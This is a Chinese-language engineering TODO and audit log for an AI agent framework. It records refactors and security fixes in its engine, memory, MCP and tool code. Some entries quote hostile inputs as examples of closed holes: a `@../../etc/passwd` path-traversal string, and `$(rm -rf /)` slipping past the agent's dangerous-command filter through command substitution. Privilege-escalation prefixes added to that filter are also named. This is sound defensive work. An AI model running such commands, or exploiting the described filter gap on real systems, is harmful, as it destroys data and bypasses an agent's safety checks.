新增 TestFilePlanStore_AtomicWrite (200 写 + 1000 读并发) + TestFilePlanStore_NoTmpLeak. commit `b974e1c`. - [x] 🟢 `plan_command_server.go:121` - socket 路径硬编码 /tmp,多用户机器有安全隐患:改用 os.UserCacheDir(P2) — **2026-04-15 已修复**: resolvePlanSockPath 两阶段策略 (UserCacheDir -> os.TempDir), 对齐 inbox/uds_server.go 已有模式. 同时修复 uds_server.go fallback 从硬编码 /tmp 改为 os.TempDir(). - [x] 🟢 `dream.go:548` - saveSessionCountLocked 失败 fail-open:连续失败时应降级或报警(P3)✅审计后关闭(2026-04-15: L576-581 WriteFile 失败已有 observer.Error 报警, marshal 失败实际不可能发生) - [x] 🟢 `plan.go:273` - IsActive() 检查与 active 写入之间有无锁窗口(P3)✅审计后关闭(2026-04-15: 理论竞态但 benign, 最坏结果是返回 "not active" error, 修需持锁执行文件 I/O 代价过高) - [x] 🟢 `dream_lock.go:93` - `_ = os.Chtimes(...)` 静默忽略 mtime 更新失败(P3)✅已修复(2026-04-15: L94 已有日志, L121 Rollback 补 stderr 日志对齐) - [x] 🟡 `dream.go:415` - SpawnSubAgent 强制 `.(* Engine)` 类型断言:EngineRef 接口太窄(P2,大改动)✅已修复(G9-A:ForkSubAgent 接口) - [x] 🟢 `dream.go:317` - `float64 * time.Duration` 精度风险(已有 LEGACY 注释)(P3)✅审计后关闭(2026-04-15: L346-350 已改为 time.Duration(hours*3600)*time.Second 整秒换算, 有 ELEVATED 注释) - [x] 🟢 `plan_command_server.go:118` - sessionID 截断魔数 40 → const maxSessionIDSuffix(P3)✅审计后关闭(2026-04-15: L152 已是 `const maxSessionIDSuffix = 40`, TODO 行号漂移) - [x] 🟢 `dream_task.go:121` - AddFileTouched O(n) 线性扫描 → map[string]struct{}(P3)✅审计后关闭(2026-04-15: L129-136 已有 filesTouchedSet map O(1) 去重) - [x] 🟢 `dream_prompt.go` - 多处魔法字符串/数字 → 命名常量(P3)✅审计后关闭(2026-04-15: "数字"全在 prompt 模板文本里(~150 chars, tail -50), 是自然语言近似值不是代码逻辑, 真常量 MaxIndexLines=200 已提取) - [x] 🟢 `token_budget.go` - 10+ 魔法数字散布 → 集中常量(P3)✅审计后关闭(2026-04-15: 9 个数字全部已在 const 块里命名, TODO 描述与现状不符) - [x] 🟢 `plan_store.go:236` - validatePlanSlug 已定义但从未调用(P3)✅已修复(2026-04-15: WritePlan 写路径加 defense-in-depth 调用, 防范未来 slug 来源变更时路径遍历) - [x] 🟢 `plan_queue.go:437` - recovered 变量丢弃 `_ = recovered`:返回值或日志(P3)✅审计后关闭(2026-04-15: L437 已有 `fmt.Fprintf(os.Stderr, "recovered %d pending plans")`, TODO 描述与代码不符) - [x] 🟡 `plan_queue.go` - FilePlanQueue 承担 5 种职责(队列/执行/持久化/取消/清理):拆分(P2)- **2026-04-13 audit 否决**: `PlanQueue` interface (plan_queue.go:195) 已是顶层抽象, 注释明确说 "可实现 RedisPlanQueue (多副本共享), MemoryPlanQueue (测试)".消费者要换实现是重新实现 PlanQueue interface, 不是复用 FilePlanQueue 内部.把 FilePlanQueue 拆成 4 个类只是"把耦合搬进 4 个文件",语义上依然是"文件持久化的异步 plan 队列"一个整体.同 L1185 cargo cult SRP 模式, 否决不做 - [x] 🟡 `plan.go` - PlanModeManager God Object:权限模式相关逻辑拆出(P2)- **2026-04-13 audit 否决 (framing 错)**: PlanModeManager 实际 ~130 行, 5 字段, 6 方法 - **不是 God Object**, TODO 用词夸大.permission 集成只有 2 字段 (`prePlanMode` + `perms`) 和 2 处调用 (Enter 时 `perms.SetMode(ModePlan)`, Exit 时还原).plan mode 和 permission mode **语义耦合** - 进入 plan mode 必须切换 permission mode, 这是业务规则不是代码耦合.拆开会产生重复的"谁管 prePlanMode"状态机.否决不做 - [x] 🟡 `dream.go` - DreamEngine 通过 parentEngine 间接访问 Activity/Observer:直接注入字段(P2)- **2026-04-14 audit 关闭**: 代码已在 2026-04-13 完成, 复选框漏勾. 证据: (1) `dream.go:110-119` struct 已独立持 `observer/activity/rootCtx` 三字段, parentEngine 降级为"仅 ForkSubAgent"; (2) `NewDreamEngine` 构造器收 `cfg.Observer/Activity/RootCtx` 并 NoopObserver 兜底 (L231-242); (3) `engine.go:711` `buildDreamEngine(mem, reg, observer, activity, rootCtx)` 签名已改, post-fill 已删, 构造顺序下移到 observer/activity/rootCtx 就绪之后; (4) grep `de.parentEngine != nil && de.parentEngine.` 代码残留 = 0 处 (L108 仅历史注释提到旧状态); (5) `de.(observer|activity|rootCtx)` 直接字段调用 = 17 处; (6) `dream_test.go:609-690` 已补 "nil observer fallback" 与 "injected observer" 两个 L1224 红利测试. handoff task 基于过时快照, 属任务队列时态错位 - [x] 🟢 `context/compact.go:188 AutoCompactThreshold` - 10 行包级函数与 engine.TokenBudgetManager 语义重复, 唯一 call site engine.go:3456 做 +-compactReserveTokens 抵消 roundtrip 实意 "拿物理窗口", 且内部 contextWindowProvider 的 setter 全代码零注入, model 参数永远被忽略返回 DefaultContextWindow - **2026-04-14 删除**: engine.go:3456 直连 `e.cfg.ModelRegistry().ContextWindow(model)` (与 engine.go:2556 一致), 删除 compact.go:184 函数 + compact_test.go:32 测试 + engine.go:4002 unused const. contextWindowProvider 全局变量保留 (Compressor.effectiveContextWindow 仍依赖其作为实例级 contextWindowFn 为 nil 时兜底, 另一笔独立清理账) - [x] 🟢 `token_budget.go` - 523 行 6 大功能合体:拆分 token_estimator + token_window + token_warnings(P3)- **2026-04-14 audit false positive**: 现为 535 行活模块 (engine.go:91/702/1261/2360/2975 多处 call site).反向思考后结论: 6 个功能组共享 modelRegistry + observer 两个依赖,它们是同一抽象 TokenBudgetManager 的 6 个入口而非 6 个独立抽象.拆分无法降低扩展/修改成本 (IDE 跳转 O(1), 和文件行数无关), 反而引入"新方法放哪个文件"决策负担 + 跨文件跳转 (warnings 严重依赖 window)."535 行太长"是美学焦虑非工程痛点.维护说明已写入 token_budget.go 文件头.真抽象债沿"修改跨多个概念/新增场景绕开结构"识别, 而非行数代理指标.**否决不做** #### 已修复 - [x] `result_store.go:81` - 文件权限 0644 → 0600 - [x] `result_store.go:159` - truncateString 按字节截断 → 按 rune 截断 - [x] `team.go:163-169` - XML 注入:WorkerID/summary 未转义 → xmlEscape - [x] `reminders.go` - 四个魔法数字 → 命名常量 - [x] `filecache.go:119` - SHA256 截断条件恒真(死代码)→ 直接截取 - [x] `agent_loader.go` - max_turns 手写整数解析 → strconv.Atoi - [x] `skill_def.go` - SkillRegistry 持有 *Engine 循环依赖 → SkillSpawner 接口 - [x] `reminders.go` - FileStateCache 具体类型 → FileChangeChecker 接口 #### 待修复 - [x] 🟡 `input.go:328` - resolvePath 无目录边界校验,`@../../etc/passwd` 可读任意文件(P2)→ 已在 Phase 2 E1 修复 - [x] 🟡 `skill_loader.go:306` - LoadSkillFile path 参数无路径穿越校验(P2)→ 已在 Phase 2 E2 修复 - [x] 🟢 `skill_loader.go:261` - ScanSkillsDir 未校验符号链接,可跳出允许目录(P3)✅审计后关闭(2026-04-15: skills 目录是用户自控的 ~/.flyto/skills/, 攻击者能放 symlink = 已有 home dir 写权限, 安全收益近零) - [x] 🟢 `operation_log.go:37` - Input json.RawMessage 记录原始工具参数(含 API key 等敏感信息),未脱敏(P3)✅审计后关闭(2026-04-15: in-memory only 不持久化, observer 层已有 sanitizeSecrets, 工具输入通常是 file_path/content 不含 API key) - [x] 🟡 `tool_summary.go:74` - GenerateSummaryAsync goroutine 复用外部 ctx,ctx 取消后 goroutine 可能永久阻塞(P2) - [x] 🟡 `context_calibrator.go:95` - RecordFailure 持锁调用 save()(文件 I/O)→ JSON 序列化在锁内,文件 I/O 移到锁外(P2) - [x] 🟡 `context_calibrator.go:68` - NewContextWindowCalibrator 并发调用:load() 无锁,records map 并发读写(P2)- **2026-04-13 audit**: 已在架构重组 commit `c4a2273` 修复 (load() line 157-159 写 records 时持有 c.mu.Lock), 测试 `go test ./pkg/engine -race -run ContextWindow` 全过. 与 L1251 是姐妹修复, 同次提交里完成但 TODO 当时只勾了 L1251 - [x] 🟡 `subagent_registry.go:126` - watchCompletion goroutine 泄漏 → 加 stopCh + Close() 方法(P2) - [x] 🟡 `subagent_registry.go:131` - 回调在 mu 已释放后执行,访问注册表状态时有 data race(P2)- **2026-04-13 audit**: 已在架构重组 commit `c4a2273` 修复 (watchCompletion line 158-164 CLEVER 注释明确说 "在锁内复制 callbacks slice, 锁外执行回调" 是 race-aware deliberate 设计), 测试 `go test ./pkg/engine -race -run 'SubAgent|Registry'` 全过. 与 L1253 是姐妹修复, 同次提交里完成但 TODO 当时只勾了 L1253. 行号 ":131" 在当前文件里是 Count() 的 defer RUnlock, 跟 callback 无关 - 文件被重构过, 行号 stale - [x] 🟡 `agent_loader.go:147` - LoadAgentDefFile os.ReadFile 无大小限制 → io.LimitReader(1MB)(P2) - [x] 🟢 `agent_executor.go:177` - defer cleanup() 返回值用 `_ =` 丢弃,panic 被静默忽略(P3)✅审计后关闭(2026-04-15: L180 已有 `if err := cleanup(); err != nil { fmt.Fprintf(stderr) }`) - [x] 🟢 `filecache.go:214` - IsModified TOCTOU:RLock→读 ModTime→Unlock→os.Stat→Lock 窗口期文件可变(P3)✅审计后关闭(2026-04-15: 文件系统操作固有 TOCTOU, 持锁做 os.Stat 会降低并发性能, 保守策略 modified→re-read 已正确处理) - [x] 🟢 `file_scratchpad.go:121` - os.Rename 失败静默忽略(P3)✅审计后关闭(2026-04-15: L122 已有 `fmt.Fprintf(os.Stderr, "rename failed")`, TODO 描述与代码不符) - [x] 🟢 `context_calibrator.go:183` - save() 失败 fail-open,无降级或报警(P3)✅已修复(2026-04-15: persistData WriteFile/Rename 失败补 stderr 日志, 与 dream_lock/file_scratchpad 对齐) - [x] 🟢 `activity.go:371` - 手写 itoa 函数 → strconv.Itoa(P3) - [x] 🟢 `team.go:258` - enqueuTeamNotification 拼写错误(少一个 e)(P3) - [x] 🟢 `operation_log.go:41,65` - "success"/"failed"/"rolled_back" 散布字符串 → 常量(P3) - [x] 🟢 `fallback.go` - FallbackConfig 只支持单层降级 → 改为 []string fallback 列表(P3)✅审计后关闭(2026-04-15: 单层是有意设计, MaxFallbacks=1 默认值印证. 多层降级是 feature request 非 bug, 当前 A→B 覆盖 90%+ 场景, 等产品需求再扩展) #### 已修复 - [x] `permission/permission.go` - `Engine` 接口与 `flyto.Engine` 同名 → 改为 `Checker` - [x] `inbox/uds_server.go` - socket 权限依赖 OS 默认 → 显式 os.Chmod(0600) - [x] `engine/migrate.go` + `memory/migrate.go` - 迁移中途失败无回滚提示 → 加 LEGACY 注释 #### 待修复 - [x] 🟡 `memory/memory.go` - WithXxx 构造注入 vs InjectXxx 后置注入两套模式 (P2, 原 P3 framing 错) - **2026-04-14 部分接线 + 重复退役 (commit ecd3c1f)**: 原 TODO framing "文档化两套模式" 是 P3, audit 后发现 (a) "循环依赖" 叙事破产 - "mem 先于 observer/fileHistory" 是偶然演化不是技术约束, (b) 9+ 个 With* 公共 API 仅 2 个 (SecretGuard/Freshness) 在生产接线. 第二轮 grep 纠正前一轮 audit 失误后确认 InjectBackupper/InjectMemorySelector 有真生产 call site (engine.go:683/766, 非死代码). 执行: 重排 engine.go 构造顺序 → buildMemory 5 参签名 → 接线 WithObserver/WithFileHistory/WithMemorySelector → 删 3 重复 API (InjectBackupper/InjectMemorySelector/NewFileStoreWithScorer) + 对应测试. 剩 4 条能力未接线, 作为独立 TODO 见下 - [x] 🟡 `memory/memory.go` WithScorer - `RelevanceScorer` 公共选项零 call site (P3) - **2026-04-16 接线**: Config.MemoryScorer + buildMemory 传递. 外部消费者可通过引擎 API 注入自定义评分器 (嵌入向量/BM25) - [x] 🟡 `memory/memory.go` WithTypeRegistry - `MemoryTypeRegistry` 公共选项零 call site (P2) - **2026-04-16 接线**: Config.MemoryTypeRegistry + buildMemory 传递. 多租户/行业特化场景可注册自定义记忆类型 - [x] 🟡 `memory/memory.go` WithStrictSymlink - 符号链接严格模式零 call site (P2) - **2026-04-16 接线**: Config.MemoryStrictSymlink bool + buildMemory 传递. 服务端部署可启用严格拒绝 - [x] 🟡 `memory/memory.go` WithSyncAdapter - Git/HTTP 远程同步零 call site (P2) - **2026-04-16 接线**: Config.MemorySyncAdapter + MemorySyncConfig + buildMemory 传递. GitSyncAdapter 已完整实现 (483行), 外部消费者可直接使用 - [x] 🟢 ~~`memory/memory.go` - FindRelevant AI 失败时 fallback 调用包级 SelectRelevant 函数,绕过 Store 接口抽象~~(P3)- **2026-04-14 修复**: AI selector 失败时 fallback 传 nil scorer, 静默忽略 WithScorer 配置. 反转 Select 错误契约 + fallback 搬到 Store 层 + 加回归测试. - [x] 🟢 ~~`flyto/observer.go` - 三个 Observer 接口(Event/Metric/Trace)分散,消费者需同时注册三个~~(P3)- **2026-04-14 审核结论: 伪问题**. 路径订正: 真实路径 `core/pkg/flyto/observer.go`. 原 TODO 描述"需同时注册三个"与代码注释 L5-7 明确矛盾, 实际机制是 EventObserver 必须项 + Metric/Trace 通过 type assertion 可选接入. 核实证据 (LSP findReferences): 引擎主路径 engine.go:2955/3458/3953 和 CompositeObserver 分发层 (observer.go:180-209) 共 6 处全部为 `if m, ok := obs.(MetricObserver); ok` 模式, e.observer 字段类型只是 EventObserver. 实现数不对称证实按需接入有效: EventObserver 20 实现 / MetricObserver 7 / TraceObserver 1. 这是 Interface Segregation Principle 教科书案例, 合并反而劣化 (13 个实现被迫写空 Metric, 19 个被迫写空 Span), 且会加剧 L1292 的结构化耦合. 同类"伪问题措辞"已在 L1287/L1289/L1290 出现. - [x] 🟢 ~~`hooks/handler.go` - HookHandler 接口只有一个方法,可简化为函数类型~~(P3)- **2026-04-14 审核结论: 伪问题**. 路径订正: 真实路径 `core/pkg/hooks/handler.go` (TODO 原文漏 `pkg/` 前缀). LSP findReferences + goToImplementation 核实: 接口已有 3 个实现 (HookHandlerFunc/ShellHandler/CallbackHandler), 其中 HookHandlerFunc (handler.go:42) 正是"简化为函数类型"诉求的既有解 (http.HandlerFunc 模式). 接口必须保留的唯一硬依赖: `types.go:100` `HookDef.Handler HookHandler` 字段需要联合承载 struct handler (ShellHandler 的 executor/timeout 状态, CallbackHandler 的超时保护逻辑 handler.go:129-150) 与 func handler. 去掉 interface 反而强制 call site 手写 `HookHandlerFunc(h.ExecuteHook)` 包装, 劣化. 同类"伪问题措辞"已在 L1287/L1290 出现, 参见 feedback_todo_audit_first. - [x] 🟢 ~~`inbox/uds_server.go:87` - socket 路径 /tmp 硬编码,多用户机器有冲突风险 → os.UserCacheDir~~(P3)- **2026-04-14 完成**: 订正: 不是"冲突" (sessionID 已唯一), 真问题是 /tmp 对所有用户可读导致 session 元数据泄露, 且与 session_persist.go / session_snapshot.go 路径策略不一致. 实施: 抽出 `resolveSockPath()` 两阶段策略, 优先 os.UserCacheDir/flyto/, macOS 路径越界 104 字节内核限制时 fallback /tmp 保功能正确性. 新增 TestUDSServer_SockPathLocation 验证策略. L1206 plan_command_server.go 同类待迁移可复用此 helper. - [x] 🟢 ~~`permission/classifier_ai.go` + `memory/selector_ai.go` - AIClassifier 和 AIMemorySelector 相似模式(AI 决策 + 文本 fallback)但未共享基础设施~~(P3)- **2026-04-14 审核结论: 伪问题 (LSP 核实)**. 路径订正: `core/pkg/{permission,memory}/*_ai.go`. **表面相似, 内部机制差两个数量级, 未来方向相反**: AIClassifier 是两阶段 (Stage1 RoleFast + Stage2 RoleMain) + 内置 5min TTL cache + 自消费流式 TextDeltaEvent/UsageEvent + stopReason 感知 (max_tokens 降级 DecisionAsk, 安全核心设计) + 直接依赖 flyto.ModelProvider, 由 permission.classifier_factory.go 提供 provider-specific 工厂 (NewAnthropicClassifier→XML, NewOpenAIClassifier→未来 JSON mode, NewGoogleClassifier→未来 Gemini+grounding), **演进方向 = 按 provider 分化**; AIMemorySelector 是单阶段 + 无 cache + 用 ModelQueryFunc 闭包 (selector_ai.go:23-31 明文"打破 memory→engine 循环依赖"的故意设计) + 无流式无 usage, 由 engine.go:690 单一构造点传入 makeMemoryQueryFn 闭包抹平 provider 差异, **演进方向 = 跨 provider 统一**. TODO 描述的"文本 fallback"本身也已不准确: AIClassifier 无文本 fallback, AIMemorySelector 的 fallback 已在 L1287 修复时反转到 Store 层. 共享基础设施的代价: 选项 A (抽 helper 包) 会强制 memory import flyto 破坏 ModelQueryFunc 设计决策, 选项 B (降级 AIClassifier 到 ModelQueryFunc) 丢掉 cache+stopReason 使安全分类器退化, **选项 C (保持分化) 才能兼容 classifier factory 未来按 provider 分化的方向**. LSP 证据: NewAIClassifier 4 个 call site 全在 permission.classifier_factory; NewAIMemorySelector 1 个 call site 在 engine.go:690; MemorySelector interface 只有 AIMemorySelector 一个实现. 同类"伪问题措辞"已在 L1287/L1288/L1289/L1290 出现 - 此为本交接第 5 例. - [x] 🟢 ~~`memory/memory.go:38` ↔ `flyto/observer.go:16` - MemoryObserver 与 EventObserver 方法集逐字相同 (Event+Error), 隐性 coupling.~~ (P3) - **2026-04-16 完成 (第五棒)**: 第四棒 "搬包归位" 判断被推翻, 用更小动作解决. 关键核实: `flyto` 是零外部依赖纯契约层 (pkg/flyto/doc.go L3), 项目内 29 个包 import flyto 且 flyto 零反向 import 任何 SDK 扩展包, 所以 memory → flyto 单向依赖完全安全不构成循环, 原注释 L49 "替代方案 1: 直接依赖 engine.EventObserver - 否决, 循环依赖" 把 engine (会循环) 错误推广到了 flyto (不循环). 执行: memory.go 删 MemoryObserver 接口体 + 5 处类型引用改 flyto.EventObserver + 保留 noopMemoryObserver 作为 memory 包私有兜底 (它自然满足 flyto.EventObserver, 不引入 engine 依赖), engine.go:904 CLEVER 注释从"鸭子类型"改为"直接透传别名", scanner.go:121 注释同步. 验证 1042 测试全过 + go vet 零告 + go build 全通. 衍生登记: L1329b hooks/context/evolve 同模式 + L1329c websocket → bridge 接线. - [x] 🟢 ~~`hooks/hooks.go` + `context/compact.go` + `evolve/evolve.go` - HookObserver/CompactObserver/EvolveObserver 与 flyto.EventObserver 方法集逐字相同, 同 L1326 方案可批量清理 (删接口体 + 改用 flyto.EventObserver). 本次 L1326 只处理 memory 以限定 commit 范围, 三包留作独立决策.~~ (P3) - **2026-04-16 完成 (L1326 衍生 a)**: 三包同步执行 L1326 范式. 每包: 删本地 XxxObserver 接口体 + 字段/SetObserver/getObserver/Config.Observer 类型改 flyto.EventObserver + 保留本地 noopXxxObserver 私有兜底 (不引 engine.NoopObserver 避免循环). 注释从 "与 engine.EventObserver 解耦避免循环依赖" 改为 "与 L1326 memory 包同决策: flyto 是零外部依赖契约层单向依赖完全安全". docs/architecture.md 四处同步 (1005/1029/1040/1063-1068). 验证: go build + go test ./pkg/hooks/... ./pkg/context/... ./pkg/evolve/... 全通. - [x] 🟡 ~~`pkg/websocket/websocket.go` (825 行完整 RFC 6455 实现) 未接入 `pkg/bridge.BridgeTransport` 接口 - bridge.go 注释声称有 SSE/WS/LongPoll 三实现, 实际只有 transport/sse.go. websocket 包零 core 消费者的原因是**接线断裂**而非死代码. 需加 `transport/websocket.go` 作为 BridgeTransport 实现, 或改 websocket 包主动暴露 bridge 适配层.~~ (P2) - **2026-04-16 完成 (L1326 衍生 b)**: 产品经理挑战"现在没客户明天没有?"推翻了"不做假设性需求"初判 — Flyto 是 SaaS 产品 WS 是基本盘非 hypothetical. 走路径 A: 新建 `bridge/transport/websocket.go` (~290 行), 复用 pkg/websocket.UpgradeHTTP + WebSocketConn 底层 RFC 6455, bridge 层只做 SessionConn 契约适配 (readLoop + pingLoop + text frame JSON 双向). WebSocket 包自包含性保留 (未反向 import bridge). 四个测试: Roundtrip / MissingSessionID / TransportClose / Reconnect_ReplaceOldConn 全绿. LongPoll 评估后**不做**: 只覆盖极端老企业内网场景, 现代客户不需要, 200 行真来了再补. bridge.go + sse.go package doc 同步砍 "三实现" 承诺为 "两实现 + LongPoll 待驱动". ResumeWindow 未实现 (WS 无原生 Last-Event-ID 机制, 需另设计 ack 协议, 留独立 TODO). - [x] 🟡 ~~`engine/team.go` + `inbox/` - **接线 Agent Teams 模式** (对齐 Anthropic Claude Code Agent Teams v2.1.32, 2026-02-05 发布).~~ **2026-04-16 MVP 完成** (5 commits): C1 `f7f75a3` 耳朵+嘴巴 (Engine.incomingInbox + send_message 工具 + Team 布线) / C2 `2928316` TaskList 业务层+MemoryStore+4 工具 / C3 `b573019` MarkdownStore + Anthropic 兼容测试 / C4 `1318b37` 跨行业 example 三例 / C5 文档 + 对账.**主动拒绝的 Anthropic 特性** (决策记录于 `core/docs/agent_teams.md`): (a) `FLYTO_EXPERIMENTAL_AGENT_TEAMS=1` env flag — 默认启用, 不假设运维场景. (b) 三个独立 shell hook (TeammateIdle/TaskCreated/TaskCompleted) — 复用 `flyto.EventObserver` 统一事件总线, 不回退 L1326 收敛. (c) `no nested teams / lead fixed / no session resumption` 三个硬限制 — 研究阶段保守, 不照抄 (供应链/组织架构天然嵌套). (d) 文件系统专用 shared task list — 升华为 `tasklist.Store` 接口 + 多实现 (MemoryStore/MarkdownStore/CustomStore), 跨行业 (HIPAA/金融审计/WMS) 可自选存储. **升华**: `send_message` 作内置工具 (Anthropic 是让模型写文件到 mailbox 目录) + Markdown 双向互操作 (Anthropic Claude Code 和 Flyto 可读写同一 tasks.md). **跨行业 example**: `core/examples/agent_teams/` 三个示例覆盖 debate / markdown / custom 三种接入模式. #### 已修复 - [x] `webfetch.go` - SSRF:无私网 IP 拦截 → safeDialContext + privateIPNets + 重定向限制 - [x] `filewrite.go:174` - 无 filepath.Clean + 权限 0644 → Clean + 0600 - [x] `bash_background.go` - 无任务上限 + 输出无限累积 → maxBackgroundTasks(100) + maxOutputBytes(10MB) + Remove() #### 待修复 - [x] 🟡 `filewrite.go` - 非原子写入(直接 os.WriteFile,进程崩溃文件截断)→ temp file + os.Rename(P2) - [x] 🟡 `fileread.go:858` - HEIC/TIFF 文件无预检大小限制,io.ReadAll 全量读入内存(P2)→ 已在 Phase 2 E3 修复 - [x] 🟢 `filewrite.go:125` - SecretGuard ErrContentTooLarge 时放行而非拒绝(现有 LEGACY 注释)(P3)✅审计后关闭(2026-04-15: L137-142 LEGACY 注释说明权衡, 超大文件通常不含手工 key, 拒绝会阻碍合法场景, 未来改进方向已记录 OnContentTooLarge callback) - [x] 🟡 `bash_background.go` - 已完成任务永不自动清理(Remove() 已实现但无 GC 机制)→ ✅已修复(2026-04-11:sweep-on-Add,defaultBackgroundTaskRetention=10m,WithRetention 可注入;5 个新测试覆盖 stale/running/respect/disabled/batch) - [x] 🟢 `task.go:105` - TaskStore.Update 不校验状态转换合法性(done → in_progress 等非法转换被允许)(P3)✅审计后关闭(2026-04-15: Task 是 LLM 便利工具不是状态机, done→in_progress 是合法场景(重开任务), 工具层 L404-417 已校验状态值合法性) - [x] 🟢 `fileread.go:667` - 读取小范围行时 scanner 仍扫描全文件(超大文件性能陷阱)(P3) - **2026-04-16 优化**: collectFull 路径改用 io.ReadAll 批量读取 + 字节级行扫描, allocs 从 ~10K 降至 253 (10K 行文件). scanner 路径 offset>0 已有 break 无需改 - [x] 🟢 `bash.go:334,114,122,137` - 超时 600s/120s/120s/30s 魔法数字,多处重复 → 命名常量(P3) - [x] 🟢 `webfetch.go:113,122` - 超时 30s/120s 魔法数字 → 命名常量(P3) #### 已修复 - [x] `internal/transport/client.go:372,379` - error body + streaming body 加 `io.LimitReader`(1MB/100MB) - [x] `internal/wire/openai.go:314,379` - error body + consumeSSE scanner 加 `io.LimitReader` - [x] `internal/wire/gemini.go:321` - scanner 加 `io.LimitReader(resp.Body, 100MB)` #### 待修复 - [x] 全部 7 provider Config - 新增 `GoString()` 遮蔽 APIKey 前4位,防 `%#v` 明文泄露(P1) - [x] 🟡 `internal/transport/client.go` + `internal/wire/openai.go` - maxErrorBodyBytes/maxStreamingBodyBytes 分别定义(两个包),考虑提取到共享位置(P2)- **2026-04-13 完成**: 提取到 `internal/wire/limits.go` 导出为 `wire.MaxErrorBodyBytes` / `wire.MaxStreamingBodyBytes`. 方向选择: transport→wire, 因为 transport 已依赖 wire.ParseAnthropicStream, 反向会破包依赖. commit `6d8a754`. - [x] 🟡 全部 7 provider Config - 无 `Timeout` 字段,consumer 必须注入带 timeout 的 HTTPClient(P1)- **2026-04-13 完成**: 加 `Timeout time.Duration` 字段, 通过 `http.Transport.ResponseHeaderTimeout` 实现 (不影响 SSE 流), 云端默认 60s, 本地 (ollama/lmstudio) 默认 300s, 详见 handoff §10.8 - [x] 🟡 `openai/wire/openai.go:394` + `gemini/wire/gemini.go` - consumeSSE 无显式 ctx 取消检查 → 每轮加 ctx.Err() 检查(P1) - [x] 🟢 `gemini/wire/gemini.go:240` - HTTP 错误 body 读取 + 附加到错误消息(P2) #### 已修复 - [x] `internal/mcp/resource_cache.go:Set` - 新增 `maxResourceCacheEntries=1000`,超限时拒绝新条目写入 - [x] `internal/mcp/http_transport.go:NewHTTPTransport` - 新增 `mcpSafeDialContext` SSRF 防护,屏蔽私网/metadata 地址 - [x] `internal/mcp/client.go:56,117` - `pending` map 改为 `string` key + `maxPendingRequests=10000` 容量限制 - [x] `internal/mcp/jsonrpc.go` + `client.go` - ID 改为 `json.RawMessage`,`dispatchSingle` 提取,batch 响应处理 - [x] `internal/syslib/bash/extract.go` - 新增 `decodeANSIC`,`resolveWordValue` 对 `$'...'` 完整解码 ANSI-C 转义 - [x] `internal/cache/ttl.go` - 新增 `sweepExpired` GC goroutine + `Close()` `sync.Once` 保护 - [x] `internal/logger/logger.go` - `sanitizeSecrets` + `Sensitive` 字段 + 脱敏应用到底层写入 - [x] `internal/mcp/sse_transport.go` - `sseReadLoop` 增加 `ctx.Err()` 检查 - [x] `internal/mcp/stdio_transport.go` - `handleStderr()` goroutine 转发 stderr 到 logger - [x] ~~`internal/server/server.go:699`~~ - Bearer token 改用 `subtle.ConstantTimeCompare` 防时序攻击(internal/server 已删除) - [x] `internal/transport/stream_guard.go:306` - `timer2.Reset` 语义澄清 + 移除冗余 `if remaining > 0` - [x] `internal/syslib/diff/myers.go:11` - 注释修正("行数差异" → "行数之和") - [x] `internal/syslib/diff/patch.go` - `StructuredPatch` 新增 `maxContextLines=100` 上限 #### 待修复 - [x] 🔴 `internal/syslib/bash/extract.go:264` - `NodeCommandSubstitution` 直接返回原始文本,`$(rm -rf /)` / 反引号内命令无法被 `IsDangerousCommand` 检测(P0)✅已修复(commit 3fba5f5:递归检测 + bash.ExtractAllCommands) - [x] 🔴 `internal/transport/retry/` - Retryer + 6 层策略未接入生产,所有 provider 零重试保护(P0)✅已修复(commit 4a73d75:集成到 CreateMessageStream) - [x] 🟡 `internal/syslib/bash/extract.go:299` - `ExtractCommandName` 前缀跳过列表缺 `doas`/`expect`/`python -c`/`perl -e` 等提权命令(P1)✅已修复(commit 55bde65:dangerousPatterns + doas/expect/python/perl 等) - [x] 🟡 `internal/mcp/stdio_transport.go:302` - `handleStderr` goroutine 无 `done` channel,进程崩溃时永久阻塞(P1)✅已修复(commit 55bde65:scanDone + select done) - [x] 🟡 `internal/mcp/sse_transport.go:139` - `sseReadLoop` 传入 `context.Background()`,ctx 取消检查是死代码(P1)✅已修复(commit 55bde65:sseCtx+sseCancel,Close() 调用 sseCancel()) - [x] 🟢 `internal/syslib/diff/patch.go:91-96` - `splitLines` 不保留 trailing newline,diff 检测有偏差(P2)✅已修复(2026-04-09:保留 \n,末尾空串丢弃) - [x] 🟢 `internal/syslib/diff/patch.go` - 只有 patch 生成,无 `ApplyPatch` 函数(P3) - **2026-04-16 完成**: 实现 ApplyPatch(oldText, hunks) + ReverseHunks(hunks) 双向 patch. 上下文行校验防误用, 乱序 hunk 自动排序, 重叠检测. 34 个新测试含 22 场景 round-trip + 双向 undo 验证 - [x] 🟢 `internal/mcp/client.go` - ElicitationCreateParams.Message 无长度验证(P2)✅已修复(2026-04-15: maxElicitationMessageLen=64KB defense-in-depth, 工具名/资源 URI 已被 maxResponseSize 1MB 兜底无需额外校验) - [x] 🟢 `internal/mcp/http_transport.go:89` - recvCh 容量 32,积压时静默丢弃无感知(P2)✅审计后关闭(2026-04-15: 非 bug, select 无 default 分支是阻塞背压不是静默丢弃, 与 StdioTransport 设计一致, 已补 CLEVER 注释对齐) - [x] 🟢 `internal/tokenizer/tokenizer.go` - CJK 用 1.5 tokens/char 近似,非真实 tokenizer(P3) - **2026-04-16 修正**: 1.5x→2x 保守估算. BPE 对 CJK UTF-8 (3字节) 常用字=1token 生僻字=2-3token, 2x 取安全上界. token budget 宁高勿低, 精确计数由 API usage.input_tokens 负责 - [x] ⚪ `internal/transport/retry/backoff.go:16,115` - jitter 用 `math/rand`,应用 `crypto/rand`(P3)✅已修复(2026-04-09:cryptoFloat64() + crypto/rand 8字节归一化) - [x] ⚪ `internal/syslib/git/git.go:162-196` - 手写 `itoa` 死代码,应用 `strconv.Itoa`(P3)✅已修复(2026-04-09:strconv.Itoa) #### G9 系列:引擎层 Anthropic 解耦 - [x] G9:P1 工具结果排序(engine.go sort.Slice 按原始 toolCalls 顺序重排) - [x] G9:P1 WebSocket 背压改"丢旧保新"(websocket.go receiveCh 满时丢最旧 + stderr 日志) - [x] G9-A:EngineBackend 接口(替代主循环 Provider==nil 判断) - [x] G9-A:SubAgentSpawner 接口(dream.go 消除 *Engine 类型断言) - [x] G9-B:消除 Provider==nil 双路径(flyto.Request 扩展 FastMode/Effort/SystemBlocks) - [x] G9-B 修复:System fallback(buildFlytoRequest 保留 System 字段供非 Anthropic Provider 使用) - [x] G9-B 修复:JSONSchema 结构化输出补齐(anthropic.Provider 设置 ResponseFormat + beta.StructuredOutput) - [x] G9-B 修复:apiClient 缓存(BuildAndStream 复用 New() 创建的 client) - 